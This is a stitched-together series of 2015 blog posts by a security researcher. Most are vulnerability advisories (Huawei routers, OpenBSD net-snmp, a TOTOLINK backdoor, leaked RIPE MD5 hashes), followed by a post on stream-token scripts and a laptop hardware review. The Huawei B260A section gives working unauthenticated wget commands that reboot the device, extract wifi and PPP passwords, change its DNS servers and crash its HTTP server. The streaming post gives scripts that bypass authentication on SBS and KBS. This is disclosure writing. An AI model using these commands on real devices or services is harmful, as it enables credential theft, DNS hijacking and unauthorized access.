(The legit administrator can check the changes here: http://192.168.1.1/advanced/dmz.html
)
Other actions are possible and are left as an exercise for the reader:
The vulnerable routers are in the End Of Service cycle and will not be supported anymore.
The vendor encourages its clients to discard existing unsupported models and to use new routers.
Official Huawei Security Notice
These vulnerabilities were found by Pierre Kim (@PierreKimSec).
https://pierrekim.github.io/advisories/2015-huawei-0x01.txt
https://pierrekim.github.io/blog/2015-12-01-Huawei-Wimax-routers-vulnerable-to-multiple-threats.html
This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
Net-SNMP is a suite of applications used to implement SNMP v1, SNMP v2c and SNMP v3 using both IPv4 and IPv6.
This software is available in OpenBSD as a port (/usr/ports/net/net-snmp
).
By default, when OpenBSD package and ports are used, the snmpd configuration file has weak permissions which allows a local user to retrieve sensitive information.
By default the permissions of the snmpd configuration file in OpenBSD are 0644 instead of 0600:
# cd /usr/ports/net/net-snmp
# make install clean
[...]
# ls -latr /etc/snmp/snmpd.conf
-rw-r--r-- 1 root wheel 6993 Nov 4 09:16 /etc/snmp/snmpd.conf
#
The same problem occurs when the provided package is installed with:
pkg_add http://ftp.spline.de/pub/OpenBSD/5.8/packages/i386/net-snmp-5.7.3p0.tgz
:
# ls -latr /etc/snmp/snmpd.conf
-rw-r--r-- 1 root wheel 6993 Nov 4 08:37 /etc/snmp/snmpd.conf
#
The snmpd configuration file is readable by a local user and contains the credentials for read-only and read-write access (for SNMPv1, SNMPv2 and SNMPv3 protocols) and gives a local user unnecessary/dangerous access:
[...]
rocommunity public default -V systemonly
#rocommunity secret 10.0.0.0/16
rouser authOnlyUser
#rwuser authPrivUser priv
[...]
This problem is OpenBSD-specific as the /var/db/pkg/net-snmp-5.7.3p0/+CONTENTS
file confirms:
@ts 1438958635
@sample /etc/snmp/snmpd.conf
Futhermore, by default, /usr/local/sbin/snmpd
runs as root.
This problem has been fixed in the -STABLE and -CURRENT packages.
This vulnerability was found by Pierre Kim (@PierreKimSec).
https://pierrekim.github.io/advisories/CVE-2015-8100-openbsd-net-snmp.txt
http://openports.se/net/net-snmp
This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
## Advisory Information
Title: OpenBSD package 'net-snmp' information disclosure
Advisory URL: https://pierrekim.github.io/advisories/CVE-2015-8100-openbsd-net-snmp.txt
Blog URL: https://pierrekim.github.io/blog/2015-11-12-CVE-2015-8100-OpenBSD-package-net-snmp-information-disclosure.html
Date published: 2015-11-12
Vendors contacted: Stuart Henderson, OpenBSD Package maintainer
Release mode: Released
CVE: CVE-2015-8100
## Product Description
Net-SNMP is a suite of applications used to implement SNMP v1, SNMP v2c and
SNMP v3 using both IPv4 and IPv6.
This software is available in OpenBSD as a port (/usr/ports/net/net-snmp).
## Vulnerabilities Summary
By default, when OpenBSD package and ports are used, the snmpd configuration file
has weak permissions which allows a local user to retrieve sensitive information.
## Details
By default the permissions of the snmpd configuration file in OpenBSD
are 0644 instead of 0600:
# cd /usr/ports/net/net-snmp
# make install clean
[...]
# ls -latr /etc/snmp/snmpd.conf
-rw-r--r-- 1 root wheel 6993 Nov 4 09:16 /etc/snmp/snmpd.conf
#
The same problem occurs when the provided package is installed with
`pkg_add http://ftp.spline.de/pub/OpenBSD/5.8/packages/i386/net-snmp-5.7.3p0.tgz`:
# ls -latr /etc/snmp/snmpd.conf
-rw-r--r-- 1 root wheel 6993 Nov 4 08:37 /etc/snmp/snmpd.conf
#
The snmpd configuration file is readable by a local user and contains the credentials
for read-only and read-write access (for SNMPv1, SNMPv2 and SNMPv3 protocols) and
gives a local user unnecessary/dangerous access:
[...]
rocommunity public default -V systemonly
#rocommunity secret 10.0.0.0/16
rouser authOnlyUser
#rwuser authPrivUser priv
[...]
This problem is OpenBSD-specific as the /var/db/pkg/net-snmp-5.7.3p0/+CONTENTS file confirms:
@ts 1438958635
@sample /etc/snmp/snmpd.conf
Futhermore, by default, `/usr/local/sbin/snmpd` runs as root.
## Vendor Response
This problem has been fixed in the -STABLE and -CURRENT packages.
## Report Timeline
* Nov 04, 2015: Vulnerability found by Pierre Kim.
* Nov 06, 2015: Stuart Henderson is notified of the vulnerability.
* Nov 06, 2015: Stuart Henderson confirms the vulnerability and fixes the package permissions for the sample configuration file in -current and -stable.
* Nov 06, 2015: Stuart Henderson re-activates an option (can be configured with rc.conf.local) to run net-snmp as a separate uid to improve security.
* Nov 10, 2015: OSS-Security is contacted to get a CVE
* Nov 10, 2015: cve-assign@mitre.org assigns CVE-2015-8100
* Nov 12, 2015: A public advisory is sent to security mailing lists.
## Credit
This vulnerability was found by Pierre Kim (@PierreKimSec).
## References
https://pierrekim.github.io/advisories/CVE-2015-8100-openbsd-net-snmp.txt
http://openports.se/net/net-snmp
## Disclaimer
This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1
iQIcBAEBCgAGBQJWRKFEAAoJEMQ+Dtp9ky28Jq4P/iUv706dteWtl9HkPHkSVbql
yO8ZJGnJtEXX3SOR5OKd07rxwP4W1gIYJtLSTUfEk+91LRpP8ZNgDIMDG1pIKS5l
2S+6SQ+8yQXCcnm54KAc8DQM3tJHUp/RG8/6UR30V0v83ELnLmAX01BWOMEIvle2
N1cd59cPUZ4Qafee1p8wbyDWi1WBB1d89d7YKf3v78L34COTEBXPRLPs+DQCU7nD
vmGzsFKcNjr8Hr2pq9aQmNmmuE82GtuEk3e1OKR5Pe4uYWoEAuFJOnswFjABDSch
0wvWx1d6G2iOMwPIRLL+BXMgGzPpKB4KjgYPH/3OYJVXywKfEw0pBnu+Svb31/JV
MVnnw6+fuunOLe7GxrI4M5FE2JfMD4CUiarFHRK6I5XDJm1dsvTHIsJUwA+9FTTH
7kJY/xKHJ3YpjrKT2K2WAmvsJCTswkbvPr5LKNGgOLlUzVUetYo1hhGT6fo5ppQE
RMpWkpX1DGJ+5RzlcLhLqguznv/SVwAA78TwailvF28LW2kSHJDOIpUht2xRdQ2Q
JJZwcoO69qsterKF+UCcucWXDSjUjzI/Vrvm/aV+BAu4oKVG5QvVNplbHDYruLl5
9OMF1C5+z8GcQf27u1RG69VAOx66GnPFGTPUiaKfsgqfh3jEMJw3IlT1LBCAZao4
FXQizA+QOejXTiuHqYE9
=qkHs
-----END PGP SIGNATURE-----
Huawei Technologies Co. Ltd. is a Chinese multinational networking and telecommunications equipment and services company. It is the largest telecommunications equipment manufacturer in the world.
The Huawei B260A device is a 3g modem / access point overall badly designed with a lot of vulnerabilities. The device is provided by Orange Tunisia as a "Flybox". It's available in a lot of countries to provide Internet with a 3G network (Vodafone provides this device, for example).
The tests below are done using the last available firmware (firmware 846.11.15.08.115 - Feb 20 2013).
Note: This firmware seems to be used for these 14 Huawei devices (from http://192.168.1.1/js/u_version.js ) which, therefore, are likely to be vulnerable to the same threats:
The Huawei B260A stores the administrator's account name and password in cleartext in a cookie (using base64), which allows context-dependent attackers to obtain sensitive information by(1) reading a cookie file and (2) sniffing the network for HTTP headers, and possibly (3) using unspecified other vectors.
The cookie is:
Cookie: Basic=admin:base64(password):0
Remote reboot without authentication:
wget -qO- --post-data='action=Reboot&page=resetrouter.asp' http://192.168.1.1/en/apply.cgi
Second remote reboot without authentication:
wget -qO- --post-data='action=Apply&page=lancfg.asp' 'http://192.168.1.1/en/apply.cgi'
Grab wifi password without authentication:
wget -qO- 'http://192.168.1.1/js/wlan_cfg.js'|less
Get PPP passwords without authentication:
wget -qO- 'http://192.168.1.1/js/connection.js'|grep -i 'var profile'
var profile = [["Orange TN","*99#","FIXME","FIXME","0","flyboxgp","1","","0",],[]];
Grab informations (wifi password, PPP passwords) without authentication:
wget -qO- http://192.168.1.1/js/wizard.js
var current_profile_list = ["Orange TN","*99#","","","0","flyboxgp","1","",];
var profile = [["Orange TN","*99#","","","0","flyboxgp","1","",],[]];
var nv_wl_wpa_psk = "E56479874EB39DB3BC65D8374B"; /**/
var nv_wl_key1 = ""; /**/
[...]
Change remote DNS without authentication: it allows an attacker to change the upstream DNS servers, so it will impact the clients served by the local dhcpd from the Huawei B260A:
wget -qO- --post-data='lan_lease=86400&dns_settings=static&primary_dns=1.1.3.1&secondary_dns=3.3.3.3&lan_proto=dhcp&dhcp_start=192.168.1.100&dhcp_end=192.168.1.200&lan_ipaddr=192.168.1.1&lan_gateway=192.168.1.1&lan_netmask=255.255.255.0&action=Apply&page=lancfg.asp' 'http://192.168.1.1/en/apply.cgi'
This can easily be done using a CSRF attack.
Apparently, there are CSRF everywhere (EVERYWHERE).
Remote DoS against the HTTP server without authentication:
root@linux:~# telnet 192.168.1.1 80
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
x
Connection closed by foreign host.
root@linux:~# telnet 192.168.1.1 80
Trying 192.168.1.1...
telnet: Unable to connect to remote host: Connection refused
root@linux:~
The program (FMC tool) provided by Tunisia Telecom (from Huawei) to update the firmware sends udp packet to the broacast port 1280 udp. The diag program running in the Huawei B260A replies by sending out information about the versions of the different components of the firmware. The updater tries to login using telnet (admin/admin) protocol to the modem in order to extract firmware versions (if the password is not admin, the update will continue and will work). Then the updater sends directly the files to the modem using 1280/tcp which will overwrite the MTD (Memory Technology Device, ie: flash storage) of the device without authentication:
By sniffing the packets:
1/ telnet connection from the official tool (with admin:admin credentials by default):
HGW login: ......admin
Password: admin
No directory, logging in with HOME=/
BusyBox v0.60.0 (2013.02.20-03:27+0000) Built-in shell (msh)
Enter 'help' for a list of built-in commands.
# nvram get cfe_version
# nvram get app_version
#
Even if the password is not 'admin', the updating process continues on port 1280/tcp.
2/ In the router, the diag program receives the data in port 1280/tcp, stores the data in files located in /tmp and then uses the write
program in the router to overwrite the MTD.
No need to reverse, by using top
in the router, we see the write
process:
1266 0 S diagd
1270 0 S telnetd
1822 0 R write /tmp/uploadh1wNSR FWT <-- overwrites the MTD
write is a basic tool used to overwrite the mtdblock (write /path/to/file device
, FWT for the MTD):
# write
usage: write [path] [device]
3/ After updating the firmware, you can login as admin/admin using the HTTP control panel and using telnet, allowing you to get a root shell.
This is a default behavior, as stated in the official documentation from the FMC tool:
With this software, you can upgrade the Huawei FMC products in a very simple way.
This software supports the upgrade of five sub-modules, including BOOT of the router module,
APP of the router module, customized files of the router module, the wireless module,
and the dashboard software.
You can get the last firmware updater at this address
(Linux: wget --user-agent="Mozilla" http://media.orange.tn/executable/maj_flyboxB260A.exe
)
Huawei doesn't provide directly firmwares for these devices, you have to download them from your ISP.
These ISPs use this router (from http://www.dlgsm.com/index.php?dir=/FLASH-FILES/HUAWEI/B_Series/B260a ):
From my research, it is possible to overwrite the default firmware with a custom one without authentication.
It is also possible to sim-unlock the device by sending packets to port 1280/udp.
As stated before, this firmware seems to be used for the below devices, so the devices are likely to be vulnerable to the same threats:
The vulnerable routers are in the End Of Service cycle and will not be supported anymore.
The vendor encourages people to discard existing unsupported models and to use new routers (B68L and B310).
Official Huawei Security Notice
These vulnerabilities were found by Pierre Kim (@PierreKimSec).
Big thanks to my friend Alexandre Torres.
https://pierrekim.github.io/advisories/2015-huawei-0x00.txt
https://pierrekim.github.io/blog/2015-10-07-Huawei-routers-vulnerable-to-multiple-threats.html
This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
This post is an an update to:
Totolink has released new firmwares on 2015-07-25 and also removed the old firmwares from their website.
The backdoor is still present in the new firmware images but it is not launched at the startup anymore.
You can check yourself by downloading the images and by using binwalk:
$ wget -O 'TOTOLINK%20N300RH-V2.0.1_20150725.zip' 'http://www.totolink.net/include/download.asp?path=down/010500&file=TOTOLINK%20N300RH-V2.0.1_20150725.zip'
$ 7z x TOTOLINK%20N300RH-V2.0.1_20150725.zip
[...]
$ binwalk -e *web
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
16 0x10 bzip2 compressed data, block size = 900k
309403 0x4B89B LZMA compressed data, properties: 0x88, dictionary size: 1048576 bytes, uncompressed size: 65535 bytes
320182 0x4E2B6 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 3414764 bytes
1274560 0x1372C0 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 2251972 bytes, 321 inodes, blocksize: 131072 bytes, created: Thu May 4 11:47:12 2006
$ cd _*/
$ 7z x *squashfs
Processing archive: 1372C0.squashfs
Extracting bin
Extracting dev
[...]
Everything is Ok
$ strings bin/skt | grep iptables
iptables -I INPUT -p tcp --dport 80 -i eth1 -j ACCEPT
iptables -D INPUT -p tcp --dport 80 -i eth1 -j ACCEPT
$ tail -n 5 etc/init.d/rcS
# start web server
boa
#skt&
They commented the skt&
execution in the /etc/init.d/rcS. The bin/skt backdoor is still there but not activated.
I encourage TOTOLINK users to audit next firmwares to make sure the backdoor is not reactivated by "error".
There are no security indications in the "Firmware Update Release Information" and I don't want to waste my time to check if they patched the other security holes (RCE, XSS, CSRF ...) described here:
By the way, Totolink released a statement the 2015-07-30 saying that there are no backdoors in their routers and threatened to sue medias regarding "totally irresponsible behavior", stating my research contains "some unverified information":
ZIONCOM (HK) Technology Ltd (ZIONCOM, the manufacturer of TOTOLINK Router), would like to make an
official announcement regarding some inappropriately news report from network media that were totally
irresponsible behavior for reporting some unverified information to damage our company reputation.
1. TOTOLINK do not compromise user privacy and security, TOTOLINK
product has not been installed any monitor software on user behavior after we verified all of our
current inventory in Hong Kong market so it is impossible to monitor user behavior. ZIONCOM will
reserve the right to take legal action against the media report on the wrong information broadcasting
that may damage our company and product reputations.
2. Regarding the problem of a default login password of a TOTOLINK
router may trigger an invasion from hacker through remote control, we would like to recommend all users
to change the default password at the first time login.We will make an announcement through our Global
website ( http://www.totolink.net ) for launching new firmware update program for solving the bug soon.
Note that some firmwares have apparently not been correctly updated.
For example, the "this-is-a-feature-not-a-backdoor-executable" is still activated in the latest N300RH-V3 firmware router (from the N300RH webpage).
You can check by yourself the "unverified information" by using the precedent commands: the file /etc/init.d/rcS still contains skt&
to execute the "this-is-a-feature-not-a-backdoor-executable" /bin/skt
at startup):
$ wget -O TOTOLINK%20N300RH-V3.0.0_20150331.zip 'http://www.totolink.net/include/download.asp?path=down/010500&file=TOTOLINK%20N300RH-V3.0.0_20150331.zip'
$ sha256sum TOTOLINK%20N300RH-V3.0.0_20150331.zip
3c12a38dfc8c72733f384ba206e9b21a37614ba77aba7f3433ed1ce9bd40cda4 TOTOLINK%20N300RH-V3.0.0_20150331.zip
$ 7z x TOTOLINK%20N300RH-V3.0.0_20150331.zip
[...]
Everything is Ok
$ binwalk -e *web
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
16 0x10 bzip2 compressed data, block size = 900k
307237 0x4B025 LZMA compressed data, properties: 0x88, dictionary size: 1048576 bytes, uncompressed size: 65535 bytes
317016 0x4D658 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 3666608 bytes
1337954 0x146A62 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 2169904 bytes, 580 inodes, blocksize: 131072 bytes, created: Wed Feb 10 00:30:40 2038
$ cd _*/
$ 7z x *squashfs
Extracting bin
Extracting dev
[...]
Everything is Ok
$ strings bin/skt | grep iptables
iptables -I INPUT -p tcp --dport 80 -i eth1 -j ACCEPT
iptables -D INPUT -p tcp --dport 80 -i eth1 -j ACCEPT
$ tail -n 5 etc/init.d/rcS
# start web server
boa
skt& <-- backdoor is launched at startup
I leave security researchers, totolink users and medias to use their own judgment and draw a conclusion about this case.
Regards,
SBS and KBS are Korean TV networks and they provide TV streaming, but they are using fancy flash players (hello 100% used CPU) and SBS even asks a passport for foreigners to get access to the streams. Koreans can have access after being authentified to their services.
As I have a personal fight to provide access to K-POP for EVERYBODY and because I have to travel to different countries, I've prepared this article that will explain how to watch SBS, KBS1 and KBS2 without authentication.
The RTMP streams are protected using tokens.
A working RTMP request, with the one-time-token:
By sniffing the traffic and decompiling the SWFs file, I discovered how to easily generate tokens:
The SWF in SBS website forces the browser to get a token by connecting to API (SBS). The SWFs in KBS* websites get the token directly in the webpage.
Sending this wget request will provide you the valid secure token:
wget -qO- --user-agent='YOUR_USER_AGENT' \
'http://api.sbs.co.kr/vod/_v1/Onair_Media_Auth.jsp?playerType=flash&channelPath=sbsch6pc&streamName=sbs1ch63.stream' | sed -e 's/\(.*\)q=\(.*\)/\2/'
TOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTO%3D%3D
This script will allows you to watch SBS:
#!/bin/sh
token=$(wget -qO- --user-agent='YOUR_USER_AGENT' \
'http://api.sbs.co.kr/vod/_v1/Onair_Media_Auth.jsp?playerType=flash&channelPath=sbsch6pc&streamName=sbs1ch63.stream' | sed -e 's/\(.*\)q=\(.*\)/\2/')
rtmpdump --resume -r "rtmp://nlive.sbs.co.kr/sbsch6pc/sbs1ch63.stream?u=sbs&type=asp&q=${token}" \
--app "sbsch6pc?u=sbs&type=asp&q=${X}" --flashVer 'MAC 18,0,0,209' \
-s 'http://vod.sbs.co.kr/onair/NeTVOnAir_1_4_2.swf?dd=9' \
-t "rtmp://nlive.sbs.co.kr/sbsch6pc?u=sbs&type=asp&q=${X}" \
-p 'http://vod.sbs.co.kr/onair/onair_index.jsp?Channem=SBS&div=pc_onair' \
-y "sbs1ch63.stream" | mplayer -
Sending this wget request will provide you the valid secure token:
wget -qO- --user-agent='YOUR_USER_AGENT' 'http://www.kbs.co.kr/player/player_playlist.php?ch=11' | awk '/movieListVstream/{ print $4 }' | sed -e 's/\["//;s/"\];//'
1tv_home.stream?id=2101&si=9&secure=TOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENT==&csu=false
Now using this token is easy. This script will allows you to watch KBS1:
#!/bin/sh
token=$(wget -qO- --user-agent='YOUR_USER_AGENT' 'http://www.kbs.co.kr/player/player_playlist.php?ch=11' | awk '/movieListVstream/{ print $4 }' | sed -e 's/\["//;s/"\];//')
rtmpdump --resume -r "rtmp://live2.kbs.gscdn.com/1tv_home/_definst_/${token}" \
--flashVer 'MAC 18,0,0,209' | mplayer -
Sending this wget request will provide you the valid secure token:
wget -qO- --user-agent='YOUR_USER_AGENT' 'http://www.kbs.co.kr/player/player_playlist.php?ch=11' | awk '/movieListVstream/{ print $4 }' | sed -e 's/\["//;s/"\];//'
1tv_home.stream?id=2101&si=9&secure=TOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENT==&csu=false
Now using this token is easy. This script will allows you to watch KBS2:
#!/bin/sh
token=$(wget -qO- --user-agent='YOUR_USER_AGENT' 'http://www.kbs.co.kr/player/player_playlist.php?ch=11' | awk '/movieListVstream/{ print $4 }' | sed -e 's/\["//;s/"\];//')
rtmpdump --resume -r "rtmp://live2.kbs.gscdn.com/2tv_home/_definst_/${token}" \
--flashVer 'MAC 18,0,0,209' | mplayer -
Now, Enjoy K-POP while finding 0days ~~~~~~~~~~~~
ipTIME responded to CNET Korea about the DHCP RCE on 2015-07-22 - Original advisory.
ipTIME released the 9.78 firmwares for 116 routers and finally credited my work. 172 products are affected in total and 9.72 firmwares will be released soon for all the router models to patch the security problem.
References:
The human is reluctant to change. Full Disclosure is, sometimes, the only solution to improve Security by forcing the change.
RIPE, Reseau IP Europeen, is in charge of IP allowance in Europe.
In 2011, I had grabbed all the authentication MD5s of the RIPE database before they were taken out from the public view and RIPE asked people to change their passwords. These MD5s were public-made available in WHOIS reponses for years.
I don't think I was the only security researcher who downloaded all the hashes. Clearly, there were a lot of people who had this database. The 36.000 hashes stayed in my hard disk for 4 years.
Finding them again in 2015 in my $HOME, some may have wanted to deface the WHOIS RIPE database by inserting giant ASCII penises everywhere and changing IP attributions. Instead, I contacted the RIPE NCC Information Security Officer and then the RIPE Database Working Group Members, hoping to have open discussions and find a solution:
As I said in the first email:
According to the RIPE transparency, as recommended by RIPE NCC
Security, therefore I am now contacting this working group to work
together because deprecation of MD5 is an important change in the RIPE
database and it must be debated in a democratic manner.
This john-compatible file (containing MNT logins and MD5 hashs) was
never exposed to public but the hashes can be (VERY) easily
cracked. From the discussion with RIPE Security (who received a copy
of this file), 27.000 usable hashes (on a total of 36.000) appeared to
be valid til now.
When I discussed it with RIPE NCC Security, I gave a 90 day disclosure
policy about this "public" information, starting from the 16 Apr 2015.
The 90 day period can be adjusted by adding more days at the end if
RIPE shows a good progress of the migration. I wanted to do
responsible disclosure when I saw the RIPE Responsible Disclosure
Policy which is a Really Good Thing, I think.
My analysis is simple: The MD5 authentication is broken for years and
it's time to change to a more secure method. I think people needs to
be encouraged to move to SSO authentication. Using MD5 now is unsafe
and dangerous, especially with unchanged 4 year-old passwords.
Please share your thoughts about this situation. I will be happy to
debate with you.
After a debate with the RIPE working group about the impact of the fact 27.000 hashes were still usable (75% of total valid hashes 36.000) and MD5 is prone to collision attacks, and the ethics in releasing this information, which was not the point, I think, RIPE changed the affected passwords and encouraged stronger authentication methods.
You can read all the posts in the RIPE public mailing list, database working group archives:
Now that all the hashes are invalid from July 2015, I am releasing the database. These informations were PUBLIC before 2011. Releasing the hashes is still subject to ethical problems. The release is expected to allow people to study the strengh of the hashes. Again, the hashes (and the decrypted passwords) are now UNUSABLE to anyone.
I want to thank all the RIPE participants in the Database Working Group for exchanging their opinions about this problem, especialy Tim Bruijnzeels and Ivo Dijkhuis, from RIPE. Even if, sometimes, we didn't share the same ideas, the debate was democractic allowing people to share their visions of improving security in RIPE. I really think RIPE managed this problem in an effective manner, improving the security of their IT infrastructure.
RIPE has a blogpost explaing how to migrate to a safer authentication method here:
In Twitter, Blogs and vulnerability reports, we are speaking about 0days and new exploitation techniques: I consider it's very important.
But I really think too there is a big gap between the research in security and the reality. Companies are mainly hacked using word macros and lazy sysadmins.
It is a VERY bad sign in IT Security that:
Mentality needs to change. Apparently, for some people, this disclosure of information is unethical. This was not the problem of ethics but protection of private information. A lot of people had the RIPE credentials in their hands and something needs to be done.
So now, enjoy the show. The hashes list, as a john-compatible file, is available at MEGA.
Note: this email has been sent to Full-Disclosure and has been blogposted to: https://pierrekim.github.io/blog/2015-07-22-why-full-disclosure-is-the-solution-an-examble-with-ripe.html.
Regards,
The LG 13ZD950 is a very light laptop (980g). It's the new version of the LG 13ZD940. Currently this laptop can be bought in South Korea. There are a lot of different models. Mine is equiped with a i3-5005U CPU, 8GB DDR3L and a 128GB SSD. Debian 8 doesn't fully support Broadwell graphics but the backports can fix this. In short, everything works well using backports.
$ xrandr
Screen 0: minimum 8 x 8, current 1920 x 1080, maximum 32767 x 32767
eDP1 connected primary 1920x1080+0+0 (normal left inverted right x axis y axis) 293mm x 165mm
1920x1080 60.02*+ 59.93
1680x1050 59.95 59.88
1600x1024 60.17
1400x1050 59.98
1280x1024 60.02
1440x900 59.89
1280x960 60.00
1360x768 59.80 59.96
1152x864 60.00
1024x768 60.00
800x600 60.32 56.25
640x480 59.94
HDMI1 disconnected (normal left inverted right x axis y axis)
VIRTUAL1 disconnected (normal left inverted right x axis y axis)
Before installing drivers for HD5500:
$ glxinfo | grep OpenGL
OpenGL vendor string: VMware, Inc.
OpenGL renderer string: Gallium 0.4 on llvmpipe (LLVM 3.5, 256 bits)
OpenGL version string: 3.0 Mesa 10.3.2
OpenGL shading language version string: 1.30
OpenGL context flags: (none)
OpenGL extensions:
After:
$ glxinfo | grep OpenGL
OpenGL vendor string: Intel Open Source Technology Center
OpenGL renderer string: Mesa DRI Intel(R) HD Graphics 5500 (Broadwell GT2)
OpenGL core profile version string: 3.3 (Core Profile) Mesa 10.3.2
OpenGL core profile shading language version string: 3.30
OpenGL core profile context flags: (none)
OpenGL core profile profile mask: core profile
OpenGL core profile extensions:
OpenGL version string: 3.0 Mesa 10.3.2
OpenGL shading language version string: 1.30
OpenGL context flags: (none)
OpenGL extensions:
OpenGL ES profile version string: OpenGL ES 3.0 Mesa 10.3.2
OpenGL ES profile shading language version string: OpenGL ES GLSL ES 3.0
OpenGL ES profile extensions:
Installing HD5500 drivers:
Add this to /etc/apt/sources.list:
deb http://http.debian.net/debian jessie-backports main
Then
# apt-get update
# apt-get -t jessie-backports install xserver-xorg-video-intel
from S.M.A.R.T.:
=== START OF INFORMATION SECTION ===
Device Model: HFS128G36MNB-2300A
Serial Number: XXXXXXXXXXXXXXXXX
Firmware Version: 10105L00
User Capacity: 128,035,676,160 bytes [128 GB]
Sector Size: 512 bytes logical/physical
Rotation Rate: Solid State Device
Device is: Not in smartctl database [for details use: -P showall]
ATA Version is: ATA8-ACS (minor revision not indicated)
SATA Version is: SATA 3.1, 6.0 Gb/s (current: 6.0 Gb/s)
SMART support is: Available - device has SMART capability.
SMART support is: Enabled
Benchmarking:
# hdparm -tT /dev/sda
/dev/sda:
Timing cached reads: 6924 MB in 2.00 seconds = 3463.82 MB/sec
Timing buffered disk reads: 1380 MB in 3.00 seconds = 459.29 MB/sec
460MB/sec in reading mode is quite good.
Architecture: x86_64
CPU op-mode(s): 32-bit, 64-bit
Byte Order: Little Endian
CPU(s): 4
On-line CPU(s) list: 0-3
Thread(s) per core: 2
Core(s) per socket: 2
Socket(s): 1
NUMA node(s): 1
Vendor ID: GenuineIntel
CPU family: 6
Model: 61
Model name: Intel(R) Core(TM) i3-5005U CPU @ 2.00GHz
Stepping: 4
CPU MHz: 2000.000
CPU max MHz: 2000.0000
CPU min MHz: 500.0000
BogoMIPS: 3990.92
Virtualization: VT-x
L1d cache: 32K
L1i cache: 32K
L2 cache: 256K
L3 cache: 3072K
NUMA node0 CPU(s): 0-3
CPU Flags:
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc aperfmperf eagerfpu pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch ida arat epb xsaveopt pln pts dtherm tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid rdseed adx smap
AES-128-CBC without AESNI
The 'numbers' are in 1000s of bytes per second processed.
type 16 bytes 64 bytes 256 bytes 1024 bytes 8192 bytes
aes-128 cbc 79218.44k 87596.05k 89851.03k 90191.53k 88001.19k
AES-128-CBC with AESNI
The 'numbers' are in 1000s of bytes per second processed.
type 16 bytes 64 bytes 256 bytes 1024 bytes 8192 bytes
aes-128-cbc 408583.33k 438564.63k 446640.47k 448723.97k 449306.62k
AES-256-CBC without AESNI
The 'numbers' are in 1000s of bytes per second processed.
type 16 bytes 64 bytes 256 bytes 1024 bytes 8192 bytes
aes-256 cbc 58418.36k 62665.13k 63112.87k 63973.72k 64217.09k
AES-256-CBC with AESNI
The 'numbers' are in 1000s of bytes per second processed.
type 16 bytes 64 bytes 256 bytes 1024 bytes 8192 bytes
aes-256-cbc 300206.54k 316254.66k 320890.28k 322990.83k 322144.94k
AES-128-XTS with AESNI
The 'numbers' are in 1000s of bytes per second processed.
type 16 bytes 64 bytes 256 bytes 1024 bytes 8192 bytes
aes-128-xts 297439.41k 902695.81k 1595138.22k 2103062.19k 2308871.51k
AES-256-XTS with AESNI
The 'numbers' are in 1000s of bytes per second processed.
type 16 bytes 64 bytes 256 bytes 1024 bytes 8192 bytes
aes-256-xts 225793.73k 652700.97k 1182342.40k 1568823.64k 1723970.90k
I recommend AES-256-XTS with AESNI for the awesome performances (1,5GB/s for 1024bytes and 1.7GB/s for 8K)
It works perfectly.
Use these settings for better usability:
$ synclient VertEdgeScroll=1
$ synclient TapButton1=1
$ synclient VertTwoFingerScroll=1
Wifi: you have to install firmware-iwlwifi to enable the wifi.
# apt-get install firmware-iwlwifi
$ /sbin/ifconfig wlan0
wlan0 Link encap:Ethernet HWaddr cc:3d:01:23:45:67
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
10/100 RJ45 using the LG external connector:
usb 1-5: new high-speed USB device number 5 using xhci_hcd
usb 1-5: New USB device found, idVendor=0bda, idProduct=8152
